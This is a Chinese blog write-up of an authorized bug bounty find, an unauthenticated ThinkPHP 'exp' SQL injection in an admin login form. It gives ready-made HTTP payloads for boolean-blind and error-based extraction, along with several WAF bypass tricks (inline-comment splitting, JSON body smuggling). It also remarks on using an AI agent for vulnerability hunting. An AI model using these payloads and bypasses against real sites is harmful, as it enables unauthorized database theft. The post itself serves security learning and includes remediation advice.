尧图网络 高端网站定制 · 原创设计
免费咨询热线
400-888-6620
免费获取方案
第一个挖到的漏洞,未授权 SQL 注入
从一个后台登录口到未授权 SQL 注入ThinkPHP exp 表达式注入发现复盘说明本文为个人授权测试后的技术复盘目标已完全脱敏域名、IP、库名、哈希、盐值均为占位演示值。漏洞已通过合法渠道提交并结案仅供安全学习交流请勿用于未授权测试。这作为我头一个我挖出来通过审核的洞值得记录一下这里主要分享一下这次的经历思路简单聊聊。首先使用的是claude的agent模型是deepseek v4 flash的模型当然都是闲时用的主要性价比高使用过程中实际上也可以说是在一点点的培养自己用的ai会越来越顺手当然大肥鱼有时还是容易拿我的词元去跑偏得多盯着ai终究是辅助你的就是你的生产资料所以也不用担心自己会被替代终究每个师傅水平不一样同一个模型在不同人手上也是不一样其本质就是你在和她的磨合中喂给她的东西会去帮助你更好的去挖洞。当然ai的出现也让我在很多地方更容易入门和增强我的能力那些早入行的师傅只要会用ai能力肯定也是更强了所以某种意义上而言我现在就是一个ai小子以前是叫脚本小子在这个阶段刚入门仍然需要学习。在使用ai的过程中一定要给自己设好红线不要刚尝试就搞个完全无限制的虽然我不知道这种是怎么搞到的但一定要有敬畏之心不要把自己送进去当然有师傅好不容易把agent调好就是用时打一些资产会被红线拦住怎么说都不放一定要授权证明这种我有遇到过虽然这很恼人但某种意义上也是好事以防你不知轻重。慢慢来好事多磨总能知道怎么用前路漫漫大家共勉。主要是各位师傅一定要有敬畏之心小心ai幻觉和越权操作。然后聊聊我这次提交漏洞的平台是补天补天是安恒的最先开始我去那是觉得它名气比较大能拿赏金想去试试挣点小钱钱补贴AI但补天现在要打赏金报名厂商你得先有实战证明所以想到补天的先去挖公益吧。不过补天对于漏洞的审核还是挺快的一般审核节假日外三天左右就能审好还是快的。顺路说下审核通过的要点一定得你的漏洞要有危害得真能碰到人家的真东西没危害是没用的另外补天一般不收低危的要中危以上有的话可以考虑交漏洞盒子去吧。这个挖出的洞实际上我报的是高危但被降级了我确实通过这个洞能挖到订单数据手机号几百个库名但交时没这么干只取最小样本补充材料所以也是我翻车的点。以下是挖洞思路:一、起点攻击面薄得像纸这次目标是一个 PHP 业务平台。资产摸排完攻击面薄得像纸主站是常规业务页面没什么花头真正值得盯的只有一个后台登录页https://www.example.com/index.php/admin/login/index.html二、发现过程1. 指纹识别URL 结构就写着框架名/index.php/admin/login/index.html ↑ ↑ ↑ ↑ 入口文件 模块 控制器 方法/index.php/模块/控制器/方法.html这种路由形态是ThinkPHP的典型 URL 风格module/controller/action三段式 伪静态.html后缀。零工具成本光看 URL 就能把框架方向定下来。2. 从框架指纹到注入假设exp表达式锁定了 ThinkPHP过了一遍它的历史危险面其中一个经典特性就是where条件支持数组形式的表达式查询// TP 查询构造器的 exp 表达式用法$where[username][exp,LIKE %];// [0]操作符, [1]操作数而登录逻辑通常长这样$userDb::name(admin)-where($where)-find();关键问题来了如果后端没有对username做类型校验直接把用户传的值塞进where()那我就可以用数组传参控制查询构造——username[0]指定操作符、username[1]指定操作数。当操作符填exp时username[1]的内容会被当作SQL 片段原样拼接进 WHERE 子句。这就是老生常谈的 ThinkPHPexp表达式注入框架层面早已收紧但大量存量系统还在用旧写法。假设有了直接上靶场验证。3. 验证假设数组传参 登录口自带的双态回显提交接口是POST /index.php/admin/login/checklogin.html浏览器直接打开会提示页面不存在它是后台登录表单的 POST 提交端点要用发包工具打。把username拆成数组传入POST /index.php/admin/login/checklogin.html HTTP/1.1 Host: www.example.com Content-Type: application/x-www-form-urlencoded username%5B0%5Dexpusername%5B1%5DLIKE%200x25passwordxusername%5B0%5D就是username[0]的 URL 编码0x25是%的十六进制字面量。这里我用 hex 而不是直接写%是有讲究的后面手法部分细说。返回了「密码错误请重试」——而不是「账号不存在」。这个差异本身就是信息说明我构造的条件在数据库里匹配到了记录请求走进了「账号存在 → 比对密码 → 密码不对」这个分支。心里基本有数了。4. 对照组证明 SQL 真的被执行了但「返回了密码错误」还不够——万一参数被当成普通字符串处理恰好走了什么巧合路径呢我的原则是任何「读出来了」的结论必须配一个「改一位就翻假」的对照username[1]的值接口回显判定LIKE 0x25即LIKE %密码错误请重试条件匹配到了记录LIKE 0x61即LIKE a该账号不存在或已被封禁条件没匹配到响应跟着我给的 SQL 条件翻转——注入成立而且是一个教科书级的布尔盲注信道登录接口天然提供「命中 / 未命中」两种可区分的响应。三、漏洞原理该接口把username直接取用传入数组时username[1]被当作 SQL 表达式原样拼进查询实际执行 WHERE username 我传入的内容 AND status ? LIMIT 1 ↑ 完全由访问者控制两个要点未登录即可触发。登录校验发生在鉴权之前所以这是匿名未授权的注入点。注入位在固定后缀AND status ? LIMIT 1之前后续条件不影响利用连闭合都不用做。四、利用手法从「能注入」到「读出数据」1. 免子查询直接引用同表的列payload 里没有黑名单词这条查询本来就查管理员账号表所以根本不需要SELECT/FROM/ 子查询——直接引用表自己的列当条件就能逐字符读值WHEREusernameLIKE%ANDpasswordLIKEdead%ANDstatus?LIMIT1↑ 直接引用同表的列 ↑ 真/假随我的前缀翻转条件为真 → 「密码错误」账号存在但密码不对条件为假 → 「账号不存在」。逐位改 LIKE 前缀password列就能一位一位读出来演示占位值password deadbeefdeadbeefdeadbeefdeadbeef 32 位哈希演示值 salt xxxxxxxx 8 位随机盐略这就是绕过思路里的**「换形状」**不对抗规则改写等价 SQL让规则无从命中。整套 payload 只有LIKEAND 十六进制字面量SELECT、FROM、UNION、information_schema一个都不出现——WAF 黑名单再长也拦不到空气。顺带说两个实操细节hex 字面量的好处0x25替代%包里一个引号都没有省掉转义纠纷payload 也更干净别把账号名写进包里读列时统一用LIKE %取首行首行即目标账号避免出现「管理账号名 SQL 关键词」的组合——这个组合会触发前置 CDN 的组合规则。2. 判读信道的偷懒技巧看响应长度就够了布尔盲注要打几十上百枪每枪都去读响应正文太累。实测下来两种响应的长度差了 40 字节少 8 个汉字的差距直接按响应长度判真假脚本跑起来飞快。不过这也是个坑——见文末教训。3. 读库名database(被拦只有内联注释切分有效想补一个完整库名作证据时前置 CDN 对database(直接 403。我把常见变体挨个试了一遍database/**/() ✅ 放行且语义等价可执行 dAtAbAsE() ❌ 仍被拦大小写变体无效 dat%61base() ❌ 仍被拦URL 编码无效 database%20() ❌ 仍被拦空格切分无效唯一有效的是内联注释切分database/**/()。MySQL 把注释当空白处理函数语义完全不变但 WAF 的关键词正则匹配不上了。这属于第三条绕法**「换写法」**。大小写和 URL 编码这两条最常被提到的路子在这里全部失效说明规则的归一化做得比较死——遇到这种别恋战直接换思路。于是逐字符走出库名演示用占位库名target_dbhex 对应同步换算LIKE 0x25 AND database/**/() LIKE 0x7425 → 真t% LIKE 0x25 AND database/**/() LIKE 0x746125 → 真ta% LIKE 0x25 AND database/**/() LIKE 0x7461726765745f6462 → 真target_db完整 ───────────────────────────────────────────── LIKE 0x25 AND database/**/() LIKE 0x7461726765745f6463 → 假末位改 c对照前缀每多一位都命中、末位改动即翻假——真假跟着载荷最后一位走坐实读的是库里的真实值不是缓存不是巧合。4. 报错注入的截断坑与选型布尔盲注节奏慢我还想要一条独立印证路径。报错注入可以直接把查询结果回显到页面但这里有个经典坑extractvalue()/updatexml()的报错回显只有 32 个字符~还要占一位——读个短库名够用读长值就得截断。两个应对短值直接extractvalue(1,concat(0x7e,database()))一次到位长值/多条换GTID_SUBSET()它的报错回显长得多配合group_concat一条就能带出一串表名GTID_SUBSET(concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema0x7461726765745f6462)),1)回显直接吐出~admin,admin_log,...一长串。报错函数不是随便选的回显长度决定它能干什么活。5. 换通道JSON body 绕源站 WAF最后一块硬骨头extractvalue在公网域名侧始终被 CDN 拦着。我判断这个站有两层防护——CDN 层拦关键词源站面板防火墙宝塔类在原始 body上做关键词正则拦FROM一类的词。对付源站这层用**「换通道」**把Content-Type从application/x-www-form-urlencoded换成application/jsonpayload 放进 JSON body——宝塔的正则不再命中而ThinkPHP 5 原生支持 JSON body 解析业务逻辑完全不受影响POST /index.php/admin/login/checklogin.html HTTP/1.1 Host: www.example.com Content-Type: application/json {username:[exp,LIKE 0x25 AND extractvalue(1,concat(0x7e,database()))],password:x}页面直接回显SQL预处理失败: XPATH syntax error: ~target_db布尔盲注和报错回显两条路径得到的库名一致互为印证。这里顺带暴露了另一个问题生产环境把数据库报错原文回显给前端debug 模式没关。有一个限制要如实说JSON body这招只对 body 有效URI 里的关键词过滤换不了 Content-Type别指望一招吃遍。五、修复建议登录接口对username等参数做强类型校验先按字符串强制取用拒绝数组等非预期类型再进入查询。查询一律参数化绑定移除exp这类允许外部输入进入表达式的外参能力升级框架版本。关闭生产环境 debug 模式数据库报错不得回显到页面。口令改用 bcrypt / Argon2 等慢哈希登录接口加验证码与失败锁定。WAF 只能提高利用成本不能替代应用层修复——本例两层 WAF 之下payload 全程只用了通用写法。六、小结这次发现没有任何运气成分路径其实很朴素URL 指纹 → 框架定位 → 框架已知危险面exp 表达式→ 数组传参验证 → 双态回显确认盲注 → 等价形状绕黑名单 → hex 逐字符读数 → 内联注释换写法 → JSON body 换通道 → 报错回显交叉印证。两个最值钱的思维习惯再啰嗦一遍一是从框架指纹联想到框架的历史危险面登录页自带框架签名不是死路二是每个结论都自己设对照没有「改一位就翻假」任何「读出来了」都只是自说自话。免责声明本文所有测试均在合法授权范围内、按只读无害化原则完成文中目标、值均为脱敏演示。
RELATED

相关推荐

M3U8 文件 BOM 头部标记,看不见字符带来解析失败

M3U8 文件 BOM 头部标记,看不见字符带来解析失败

、看不见的 BOM 头部带来解析失败 很多新手遇到一类诡异故障:M3U8 内容肉眼看完全没问题,第一行写的就是 #EXTM3U,VLC 播放器播放一切正常,但是浏览器 hls.js 直接解析报错,播放黑屏。 根源就是 UTF‑8 BOM 标记。BO…

📅 2026/10/15 2:22:46
随身WiFi突然断网限速?八成是卡被风控了:停机原因自查清单

随身WiFi突然断网限速?八成是卡被风控了:停机原因自查清单

前排提醒:本文只讨论随身WiFi与流量卡的使用排查研究,素材来自公开资料整理,不构成任何渠道推荐。最迷惑的一种故障:设备灯正常、信号满格、余额也在,就是上不了网。折腾半天设备,最后发现是卡被风控停机了…

📅 2026/10/15 2:22:46
Java基础:为什么两个String明明一样,使用==比较却是false?深入理解==和equals()区别

Java基础:为什么两个String明明一样,使用==比较却是false?深入理解==和equals()区别

在学习 Java 的过程中, 和 equals() 几乎是每个初学者都会遇到的一个问题。很多刚开始学习 Java 的同学都会记住一句话:String 比较不要使用 ,应该使用 equals()但是为什么?为什么下面这段代码中,两个 String 明明都是…

📅 2026/10/15 2:22:46
MORE NEWS

更多资讯

📰

企业微信API如何接入现有系统?接口层与业务层怎么划分

很多企业研发团队在初次对接企业微信 API 时,为了赶进度,习惯性地采用“直连模式”:在 Webhook 的接收函数里直接写 if-else 业务判断,甚至直接连上内部 CRM 的数据库执行 SQL。 这种“烟囱式”的强耦合代码,在初期或…

📰

Rope 模型加载失败终极指南:从报错定位到修复验证的完整教程

Rope 模型加载失败终极指南:从报错定位到修复验证的完整教程 【免费下载链接】Rope GUI-focused roop 项目地址: https://gitcode.com/GitHub_Trending/ro/Rope Rope 模型加载失败可能是你初装这个工具时最常碰上的问题——Rope 是一个基于 insightface insw…

📰

企业微信外部群机器人开发:群内@消息应该如何单独处理

在企业微信外部群的日常运营中,群聊环境极其嘈杂。如果你的机器人处于“全量监听”状态,群里每发一句闲聊,网关都会去查一次库或者请求一次大模型,不仅服务器的算力会瞬间被榨干,机器人还极易因为“乱插嘴”引发客户反…

📰

企业微信二次开发实战:如何把客户会话接入自己的业务后台

在私域流量的精细化运营时代,企业微信已经成为链接客户的标配触角。然而,真正的客户画像、历史工单、消费评级等核心资产,其实都沉淀在企业自有的 CRM 或 ERP 系统中。 如果仅仅停留在使用企微客户端打字聊天,或者使用粗糙的“直…

📰

大麦抢票脚本 5 分钟跑通指南:从 clone 到自动下单

大麦抢票脚本 5 分钟跑通指南:从 clone 到自动下单 【免费下载链接】Automatic_ticket_purchase 大麦网抢票脚本 项目地址: https://gitcode.com/GitHub_Trending/au/Automatic_ticket_purchase 热门演出开票几秒就售罄,手动刷新和点击总是慢人一…

📰

最新计算机毕业设计选题推荐-基于spring boot的美食配送平台-网站-文档指导-Java-springboot

✨作者主页:IT研究室✨ 个人简介:曾从事计算机专业培训教学,擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Python…

TODAY

今日更新

THIS WEEK

本周精选

THIS MONTH

本月热门

读完文章,想聊聊您的网站?

告诉我们您的行业与需求,资深顾问一对一梳理方案与报价,全程免费。

📞 💬